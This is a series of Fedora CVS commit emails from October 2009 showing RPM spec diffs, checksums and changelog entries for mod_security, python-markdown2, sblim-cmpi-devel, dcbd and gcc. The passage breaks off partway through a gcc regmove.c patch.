--- mod_security.spec	25 Jul 2009 14:55:15 -0000	1.32
+++ mod_security.spec	8 Oct 2009 08:11:41 -0000	1.33
@@ -1,7 +1,7 @@
 Summary: Security module for the Apache HTTP Server
 Name: mod_security 
-Version: 2.5.9
-Release: 2%{?dist}
+Version: 2.5.10
+Release: 1%{?dist}
 License: GPLv2
 URL: http://www.modsecurity.org/
 Group: System Environment/Daemons
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %config(noreplace) %{_sysconfdir}/httpd/modsecurity.d/optional_rules/*.conf
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 2.5.10-1
+- Upgrade to 2.5.10 (with Core Rules v2)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5.9-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mod_security/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	12 Mar 2009 09:39:50 -0000	1.17
+++ sources	8 Oct 2009 08:11:41 -0000	1.18
@@ -1 +1 @@
-b7bf44a7e041b49b0da5043495660375  modsecurity-apache_2.5.9.tar.gz
+a049f858e297fb16579b5dbb0d5d692d  modsecurity-apache_2.5.10.tar.gz



From thm at fedoraproject.org  Thu Oct  8 08:13:12 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 08:13:12 +0000 (UTC)
Subject: rpms/python-markdown2/F-12 .cvsignore, 1.6, 1.7 import.log, 1.6,
	1.7 python-markdown2.spec, 1.9, 1.10 sources, 1.6, 1.7
Message-ID: <20091008081312.DF11E11C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/python-markdown2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11864/F-12

Modified Files:
	.cvsignore import.log python-markdown2.spec sources 
Log Message:
Update to 1.0.1.15.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Jul 2009 15:48:54 -0000	1.6
+++ .cvsignore	8 Oct 2009 08:13:12 -0000	1.7
@@ -1 +1 @@
-markdown2-1.0.1.13.zip
+markdown2-1.0.1.15.zip


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-12/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	3 Sep 2009 15:57:38 -0000	1.6
+++ import.log	8 Oct 2009 08:13:12 -0000	1.7
@@ -4,3 +4,4 @@ python-markdown2-1_0_1_9-1_fc9:HEAD:pyth
 python-markdown2-1_0_1_11-1_fc9:HEAD:python-markdown2-1.0.1.11-1.fc9.src.rpm:1222984575
 python-markdown2-1_0_1_13-1_fc11:HEAD:python-markdown2-1.0.1.13-1.fc11.src.rpm:1247327308
 python-markdown2-1_0_1_13-3_fc11:HEAD:python-markdown2-1.0.1.13-3.fc11.src.rpm:1251993409
+python-markdown2-1_0_1_15-1_fc11:F-12:python-markdown2-1.0.1.15-1.fc11.src.rpm:1254989549


Index: python-markdown2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-12/python-markdown2.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- python-markdown2.spec	3 Sep 2009 15:57:38 -0000	1.9
+++ python-markdown2.spec	8 Oct 2009 08:13:12 -0000	1.10
@@ -3,8 +3,8 @@
 %define srcname markdown2
 
 Name:           python-%{srcname}
-Version:        1.0.1.13
-Release:        3%{?dist}
+Version:        1.0.1.15
+Release:        1%{?dist}
 Summary:        A fast and complete Python implementation of Markdown
 Group:          Development/Languages
 License:        MIT
@@ -68,6 +68,10 @@ cd test
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.15-1
+- Update to 1.0.1.15. Fixes three issues, two of them being
+  security-related.
+
 * Wed Sep  2 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-3
 - Patch syntax_color test case for older pygments version on rhel.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Jul 2009 15:48:54 -0000	1.6
+++ sources	8 Oct 2009 08:13:12 -0000	1.7
@@ -1 +1 @@
-855dff97a9cbffcf98f0ba395669e52f  markdown2-1.0.1.13.zip
+b55772f3303d9cf3cf24f7759ee3bca3  markdown2-1.0.1.15.zip



From thm at fedoraproject.org  Thu Oct  8 08:17:22 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 08:17:22 +0000 (UTC)
Subject: rpms/python-markdown2/F-11 markdown2-old-pygments.patch, NONE,
	1.1 .cvsignore, 1.5, 1.6 import.log, 1.4,
	1.5 python-markdown2.spec, 1.6, 1.7 sources, 1.5, 1.6
Message-ID: <20091008081722.DE8DE11C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/python-markdown2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13721/F-11

Modified Files:
	.cvsignore import.log python-markdown2.spec sources 
Added Files:
	markdown2-old-pygments.patch 
Log Message:
Update to 1.0.1.15.

markdown2-old-pygments.patch:
 syntax_color.html |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE markdown2-old-pygments.patch ---
diff -up markdown2-1.0.1.13/test/tm-cases/syntax_color.html.orig markdown2-1.0.1.13/test/tm-cases/syntax_color.html
--- markdown2-1.0.1.13/test/tm-cases/syntax_color.html.orig	2009-04-07 16:39:22.000000000 +0200
+++ markdown2-1.0.1.13/test/tm-cases/syntax_color.html	2009-09-02 22:19:38.000000000 +0200
@@ -1,6 +1,6 @@
 <p>Here is some sample code:</p>
 
-<div class="codehilite"><pre><code><span class="kn">import</span> <span class="nn">sys</span>
+<div class="codehilite"><pre><code><span class="k">import</span> <span class="nn">sys</span>
 <span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">):</span>
     <span class="n">logging</span><span class="o">.</span><span class="n">basicConfig</span><span class="p">()</span>
     <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">&#39;hi&#39;</span><span class="p">)</span>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	2 Oct 2008 21:58:30 -0000	1.5
+++ .cvsignore	8 Oct 2009 08:17:21 -0000	1.6
@@ -1 +1 @@
-markdown2-1.0.1.11.tar.gz
+markdown2-1.0.1.15.zip


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-11/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	2 Oct 2008 21:58:30 -0000	1.4
+++ import.log	8 Oct 2009 08:17:21 -0000	1.5
@@ -2,3 +2,4 @@ python-markdown2-1_0_1_7-1_fc9:HEAD:pyth
 python-markdown2-1_0_1_8-1_fc9:HEAD:python-markdown2-1.0.1.8-1.fc9.src.rpm:1221168324
 python-markdown2-1_0_1_9-1_fc9:HEAD:python-markdown2-1.0.1.9-1.fc9.src.rpm:1221203243
 python-markdown2-1_0_1_11-1_fc9:HEAD:python-markdown2-1.0.1.11-1.fc9.src.rpm:1222984575
+python-markdown2-1_0_1_15-1_fc11:F-11:python-markdown2-1.0.1.15-1.fc11.src.rpm:1254989653


Index: python-markdown2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-11/python-markdown2.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-markdown2.spec	26 Feb 2009 22:16:13 -0000	1.6
+++ python-markdown2.spec	8 Oct 2009 08:17:21 -0000	1.7
@@ -3,13 +3,15 @@
 %define srcname markdown2
 
 Name:           python-%{srcname}
-Version:        1.0.1.11
-Release:        3%{?dist}
+Version:        1.0.1.15
+Release:        1%{?dist}
 Summary:        A fast and complete Python implementation of Markdown
 Group:          Development/Languages
 License:        MIT
 URL:            http://code.google.com/p/python-%{srcname}/
-Source0:        http://pypi.python.org/packages/source/m/%{srcname}/%{srcname}-%{version}.tar.gz
+Source0:        http://pypi.python.org/packages/source/m/%{srcname}/%{srcname}-%{version}.zip
+# needed on rhel with python-pygments 0.9
+Patch0:         markdown2-old-pygments.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  python-devel
@@ -30,6 +32,9 @@ http://daringfireball.net/projects/markd
 
 %prep
 %setup0 -q -n %{srcname}-%{version}
+%if 0%{?rhel}
+%patch0 -p1
+%endif
 
 
 %build
@@ -63,6 +68,19 @@ cd test
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.15-1
+- Update to 1.0.1.15. Fixes three issues, two of them being
+  security-related.
+
+* Wed Sep  2 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-3
+- Patch syntax_color test case for older pygments version on rhel.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1.13-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 11 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-1
+- Update to 1.0.1.13.
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1.11-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	2 Oct 2008 21:58:30 -0000	1.5
+++ sources	8 Oct 2009 08:17:21 -0000	1.6
@@ -1 +1 @@
-dbeb26dd3b03a1a2ec8b46fa243b3331  markdown2-1.0.1.11.tar.gz
+b55772f3303d9cf3cf24f7759ee3bca3  markdown2-1.0.1.15.zip



From vcrhonek at fedoraproject.org  Thu Oct  8 08:24:24 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Thu,  8 Oct 2009 08:24:24 +0000 (UTC)
Subject: rpms/sblim-cmpi-devel/EL-5 sblim-cmpi-devel.spec, 1.5, 1.6 sources, 
	1.2, 1.3
Message-ID: <20091008082424.E449711C0267@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-devel/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15861

Modified Files:
	sblim-cmpi-devel.spec sources 
Log Message:
Initial commit


Index: sblim-cmpi-devel.spec
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-devel/EL-5/sblim-cmpi-devel.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sblim-cmpi-devel.spec	4 Oct 2006 23:09:50 -0000	1.5
+++ sblim-cmpi-devel.spec	8 Oct 2009 08:24:22 -0000	1.6
@@ -1,62 +1,69 @@
-#
-# sblim-cmpi-devel.spec
-#
-# Package spec for cmpi-devel - RedHat/Fedora Flavor
-#
-# Use this SPEC if building for a RH/Fedora System
-# This package is providing the C and C++ headers for CMPI 
-# but not the C++ library.
-#
-
-BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-
-Summary: SBLIM CMPI Provider Development Support
-Name: sblim-cmpi-devel
-Version: 1.0.4
-Release: 4%{?dist}
-Group: Systems Management/Base
-URL: http://www.sblim.org
-License: CPL
-
-Provides: cmpi-devel
-
-Source0: http://prdownloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
-
-%Description
-This packages provides the C and C++ CMPI header files needed by 
-provider developers and can be used standalone. If used for 
-C++ provider development it is also necessary to have 
+%define debug_package %{nil}
+
+Name:           sblim-cmpi-devel
+Version:        2.0.0
+Release:        1%{?dist}
+Summary:        SBLIM CMPI Provider Development Support
+
+Group:          Development/Libraries
+License:        EPL
+URL:            http://sblim.wiki.sourceforge.net/
+Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+BuildArch:      noarch
+
+%description
+This packages provides the C and C++ CMPI header files needed by
+provider developers and can be used standalone. If used for
+C++ provider development it is also necessary to have
 tog-pegasus-devel installed.
 
 %prep
-
-%setup -T -b 0 -n %{name}-%{version}
+%setup -q
 
 %build
-
 %configure --disable-library
 make %{?_smp_mflags}
 
 %install
-rm -rf $RPM_BUILD_ROOT 
-
-make DESTDIR=$RPM_BUILD_ROOT install
+rm -rf $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
 
 %clean
-rm -rf $RPM_BUILD_ROOT 
+rm -rf $RPM_BUILD_ROOT
 
 %files
-%defattr(-,root,root)
+%defattr(-,root,root,-)
 %doc %{_datadir}/doc/%{name}-%{version}
 %{_includedir}/cmpi
 
-%post -p /sbin/ldconfig
+%changelog
+* Thu Aug 27 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 2.0.0-1
+- Update to 2.0.0
 
-%postun -p /sbin/ldconfig
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.5-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
-%changelog
-* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> 1.0.4-4
- - rebuilt for unwind info generation, broken in gcc-4.1.1-21
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.5-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Tue Nov  4 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.5-2
+- Fix License
+- Spec file cleanup, rpmlint check
+
+* Fri Oct 24 2008 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.5-1
+- Update to 1.0.5
+  Resolves: #468326
+
+* Mon Feb 18 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.0.4-6
+- Autorebuild for GCC 4.3
+
+* Mon Dec 18 2006 Mark Hamzy <hamzy at us.ibm.com> - 1.0.4-5
+- Removed -debuginfo package.
+- Removed ldconfig from post/postun
+
+* Thu Oct 05 2006 Christian Iseli <Christian.Iseli at licr.org> - 1.0.4-4
+- rebuilt for unwind info generation, broken in gcc-4.1.1-21
 
-* Thu Feb 09 2006 Viktor Mihajlovski <mihajlov at de.ibm.com> 1.0.4-1
-  - Initial RH/Fedora version
+* Thu Feb 09 2006 Viktor Mihajlovski <mihajlov at de.ibm.com> - 1.0.4-1
+- Initial RH/Fedora version


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-devel/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 Feb 2006 19:11:39 -0000	1.2
+++ sources	8 Oct 2009 08:24:23 -0000	1.3
@@ -1 +1 @@
-c8dc0a7871cf9f0ad796e8ef0427292a  sblim-cmpi-devel-1.0.4.tar.bz2
+55d6fe7c71706024ff1469d8be5eedfd  sblim-cmpi-devel-2.0.0.tar.bz2



From thm at fedoraproject.org  Thu Oct  8 08:25:05 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 08:25:05 +0000 (UTC)
Subject: rpms/python-markdown2/F-10 markdown2-old-pygments.patch, NONE,
	1.1 .cvsignore, 1.5, 1.6 import.log, 1.4,
	1.5 python-markdown2.spec, 1.4, 1.5 sources, 1.5, 1.6
Message-ID: <20091008082505.3DB6811C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/python-markdown2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16383/F-10

Modified Files:
	.cvsignore import.log python-markdown2.spec sources 
Added Files:
	markdown2-old-pygments.patch 
Log Message:
Update to 1.0.1.15.

markdown2-old-pygments.patch:
 syntax_color.html |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE markdown2-old-pygments.patch ---
diff -up markdown2-1.0.1.13/test/tm-cases/syntax_color.html.orig markdown2-1.0.1.13/test/tm-cases/syntax_color.html
--- markdown2-1.0.1.13/test/tm-cases/syntax_color.html.orig	2009-04-07 16:39:22.000000000 +0200
+++ markdown2-1.0.1.13/test/tm-cases/syntax_color.html	2009-09-02 22:19:38.000000000 +0200
@@ -1,6 +1,6 @@
 <p>Here is some sample code:</p>
 
-<div class="codehilite"><pre><code><span class="kn">import</span> <span class="nn">sys</span>
+<div class="codehilite"><pre><code><span class="k">import</span> <span class="nn">sys</span>
 <span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">):</span>
     <span class="n">logging</span><span class="o">.</span><span class="n">basicConfig</span><span class="p">()</span>
     <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">&#39;hi&#39;</span><span class="p">)</span>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-10/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	2 Oct 2008 21:58:30 -0000	1.5
+++ .cvsignore	8 Oct 2009 08:25:04 -0000	1.6
@@ -1 +1 @@
-markdown2-1.0.1.11.tar.gz
+markdown2-1.0.1.15.zip


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	2 Oct 2008 21:58:30 -0000	1.4
+++ import.log	8 Oct 2009 08:25:04 -0000	1.5
@@ -2,3 +2,4 @@ python-markdown2-1_0_1_7-1_fc9:HEAD:pyth
 python-markdown2-1_0_1_8-1_fc9:HEAD:python-markdown2-1.0.1.8-1.fc9.src.rpm:1221168324
 python-markdown2-1_0_1_9-1_fc9:HEAD:python-markdown2-1.0.1.9-1.fc9.src.rpm:1221203243
 python-markdown2-1_0_1_11-1_fc9:HEAD:python-markdown2-1.0.1.11-1.fc9.src.rpm:1222984575
+python-markdown2-1_0_1_15-1_fc11:F-10:python-markdown2-1.0.1.15-1.fc11.src.rpm:1254990220


Index: python-markdown2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-10/python-markdown2.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-markdown2.spec	2 Oct 2008 21:58:30 -0000	1.4
+++ python-markdown2.spec	8 Oct 2009 08:25:04 -0000	1.5
@@ -3,13 +3,15 @@
 %define srcname markdown2
 
 Name:           python-%{srcname}
-Version:        1.0.1.11
+Version:        1.0.1.15
 Release:        1%{?dist}
 Summary:        A fast and complete Python implementation of Markdown
 Group:          Development/Languages
 License:        MIT
 URL:            http://code.google.com/p/python-%{srcname}/
-Source0:        http://pypi.python.org/packages/source/m/%{srcname}/%{srcname}-%{version}.tar.gz
+Source0:        http://pypi.python.org/packages/source/m/%{srcname}/%{srcname}-%{version}.zip
+# needed on rhel with python-pygments 0.9
+Patch0:         markdown2-old-pygments.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 BuildRequires:  python-devel
@@ -30,6 +32,9 @@ http://daringfireball.net/projects/markd
 
 %prep
 %setup0 -q -n %{srcname}-%{version}
+%if 0%{?rhel}
+%patch0 -p1
+%endif
 
 
 %build
@@ -63,6 +68,25 @@ cd test
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.15-1
+- Update to 1.0.1.15. Fixes three issues, two of them being
+  security-related.
+
+* Wed Sep  2 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-3
+- Patch syntax_color test case for older pygments version on rhel.
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1.13-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 11 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-1
+- Update to 1.0.1.13.
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1.11-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Nov 29 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1.0.1.11-2
+- Rebuild for Python 2.6
+
 * Wed Oct  1 2008 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.11-1
 - Update to 1.0.11, also fixes the syntax_color test for the latest
   Pygments (should fix FTBFS bug 465049).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	2 Oct 2008 21:58:30 -0000	1.5
+++ sources	8 Oct 2009 08:25:04 -0000	1.6
@@ -1 +1 @@
-dbeb26dd3b03a1a2ec8b46fa243b3331  markdown2-1.0.1.11.tar.gz
+b55772f3303d9cf3cf24f7759ee3bca3  markdown2-1.0.1.15.zip



From thm at fedoraproject.org  Thu Oct  8 08:28:36 2009
From: thm at fedoraproject.org (Thomas Moschny)
Date: Thu,  8 Oct 2009 08:28:36 +0000 (UTC)
Subject: rpms/python-markdown2/EL-5 .cvsignore, 1.6, 1.7 import.log, 1.6,
	1.7 python-markdown2.spec, 1.9, 1.10 sources, 1.6, 1.7
Message-ID: <20091008082836.1CB2011C00DB@cvs1.fedora.phx.redhat.com>

Author: thm

Update of /cvs/pkgs/rpms/python-markdown2/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17914/EL-5

Modified Files:
	.cvsignore import.log python-markdown2.spec sources 
Log Message:
Update to 1.0.1.15.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/EL-5/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	11 Jul 2009 15:48:54 -0000	1.6
+++ .cvsignore	8 Oct 2009 08:28:35 -0000	1.7
@@ -1 +1 @@
-markdown2-1.0.1.13.zip
+markdown2-1.0.1.15.zip


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/EL-5/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	3 Sep 2009 16:04:27 -0000	1.6
+++ import.log	8 Oct 2009 08:28:35 -0000	1.7
@@ -4,3 +4,4 @@ python-markdown2-1_0_1_9-1_fc9:HEAD:pyth
 python-markdown2-1_0_1_11-1_fc9:HEAD:python-markdown2-1.0.1.11-1.fc9.src.rpm:1222984575
 python-markdown2-1_0_1_13-1_fc11:HEAD:python-markdown2-1.0.1.13-1.fc11.src.rpm:1247327308
 python-markdown2-1_0_1_13-3_fc11:EL-5:python-markdown2-1.0.1.13-3.fc11.src.rpm:1251993836
+python-markdown2-1_0_1_15-1_fc11:EL-5:python-markdown2-1.0.1.15-1.fc11.src.rpm:1254990490


Index: python-markdown2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/EL-5/python-markdown2.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- python-markdown2.spec	3 Sep 2009 16:04:27 -0000	1.9
+++ python-markdown2.spec	8 Oct 2009 08:28:35 -0000	1.10
@@ -3,8 +3,8 @@
 %define srcname markdown2
 
 Name:           python-%{srcname}
-Version:        1.0.1.13
-Release:        3%{?dist}
+Version:        1.0.1.15
+Release:        1%{?dist}
 Summary:        A fast and complete Python implementation of Markdown
 Group:          Development/Languages
 License:        MIT
@@ -68,6 +68,10 @@ cd test
 
 
 %changelog
+* Thu Oct  8 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.15-1
+- Update to 1.0.1.15. Fixes three issues, two of them being
+  security-related.
+
 * Wed Sep  2 2009 Thomas Moschny <thomas.moschny at gmx.de> - 1.0.1.13-3
 - Patch syntax_color test case for older pygments version on rhel.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-markdown2/EL-5/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	11 Jul 2009 15:48:54 -0000	1.6
+++ sources	8 Oct 2009 08:28:35 -0000	1.7
@@ -1 +1 @@
-855dff97a9cbffcf98f0ba395669e52f  markdown2-1.0.1.13.zip
+b55772f3303d9cf3cf24f7759ee3bca3  markdown2-1.0.1.15.zip



From jzeleny at fedoraproject.org  Thu Oct  8 08:33:34 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Thu,  8 Oct 2009 08:33:34 +0000 (UTC)
Subject: rpms/dcbd/devel .cvsignore, 1.3, 1.4 dcbd.spec, 1.7, 1.8 sources,
	1.3, 1.4
Message-ID: <20091008083334.6599311C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/dcbd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20216

Modified Files:
	.cvsignore dcbd.spec sources 
Log Message:
new upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Aug 2009 11:48:11 -0000	1.3
+++ .cvsignore	8 Oct 2009 08:33:34 -0000	1.4
@@ -1 +1 @@
-dcbd-0.9.15.tar.gz
+dcbd-0.9.19.tar.gz


Index: dcbd.spec
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/dcbd.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- dcbd.spec	5 Oct 2009 07:28:04 -0000	1.7
+++ dcbd.spec	8 Oct 2009 08:33:34 -0000	1.8
@@ -1,6 +1,6 @@
 Name:           dcbd
-Version:        0.9.15
-Release:        5%{?dist}
+Version:        0.9.19
+Release:        1%{?dist}
 Summary:        Intel EEDC Connection
 
 Group:          System Environment/Daemons
@@ -92,6 +92,9 @@ fi
 
 
 %changelog
+* Thu Oct 08 2009 Jan Zeleny <jzeleny at redhat.com> - 0.9.19-1
+- update to new upstream version
+
 * Mon Oct 05 2009 Jan Zeleny <jzeleny at redhat.com> - 0.9.15-5
 - replaced the last patch, which was not fully functional, with
   the new one


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Aug 2009 11:48:11 -0000	1.3
+++ sources	8 Oct 2009 08:33:34 -0000	1.4
@@ -1 +1 @@
-8e4c745ae1b34c7663bce5cb5f5d7059  dcbd-0.9.15.tar.gz
+928fb7ea71975684a2951deba343636a  dcbd-0.9.19.tar.gz



From jakub at fedoraproject.org  Thu Oct  8 08:41:16 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu,  8 Oct 2009 08:41:16 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-vta-pr41353-c9.patch, NONE,
	1.1 gcc44-vta-rh521991-2.patch, NONE, 1.1 .cvsignore, 1.297,
	1.298 gcc.spec, 1.76, 1.77 sources, 1.301,
	1.302 gcc44-pr41317.patch, 1.1, NONE
Message-ID: <20091008084116.1916011C00DB@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23093

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-vta-pr41353-c9.patch gcc44-vta-rh521991-2.patch 
Removed Files:
	gcc44-pr41317.patch 
Log Message:
4.4.1-20

gcc44-vta-pr41353-c9.patch:
 regmove.c |   23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

--- NEW FILE gcc44-vta-pr41353-c9.patch ---
2009-10-07  Alexandre Oliva  <aoliva at redhat.com>

	PR debug/41353
	* regmove.c (regmove_backward_pass): Replace src with dst in the
	debug insn, and check for dst before rather than after.

--- gcc/regmove.c.orig	2009-10-06 03:51:43.000000000 -0300
+++ gcc/regmove.c	2009-10-07 02:35:36.000000000 -0300
@@ -1117,23 +1117,28 @@ regmove_backward_pass (void)
 		      break;
 		    }
 
-		  /* We can't make this change if SRC is read or
+		  /* We can't make this change if DST is mentioned at
+		     all in P, since we are going to change its value.
+		     We can't make this change if SRC is read or
 		     partially written in P, since we are going to
-		     eliminate SRC. We can't make this change 
-		     if DST is mentioned at all in P,
-		     since we are going to change its value.  */
-		  if (reg_overlap_mentioned_p (src, PATTERN (p)))
+		     eliminate SRC.  However, if it's a debug insn, we
+		     can't refrain from making the change, for this
+		     would cause codegen differences, so instead we
+		     invalidate debug expressions that reference DST,
+		     and adjust references to SRC in them so that they
+		     become references to DST.  */
+		  if (reg_mentioned_p (dst, PATTERN (p)))
 		    {
 		      if (DEBUG_INSN_P (p))
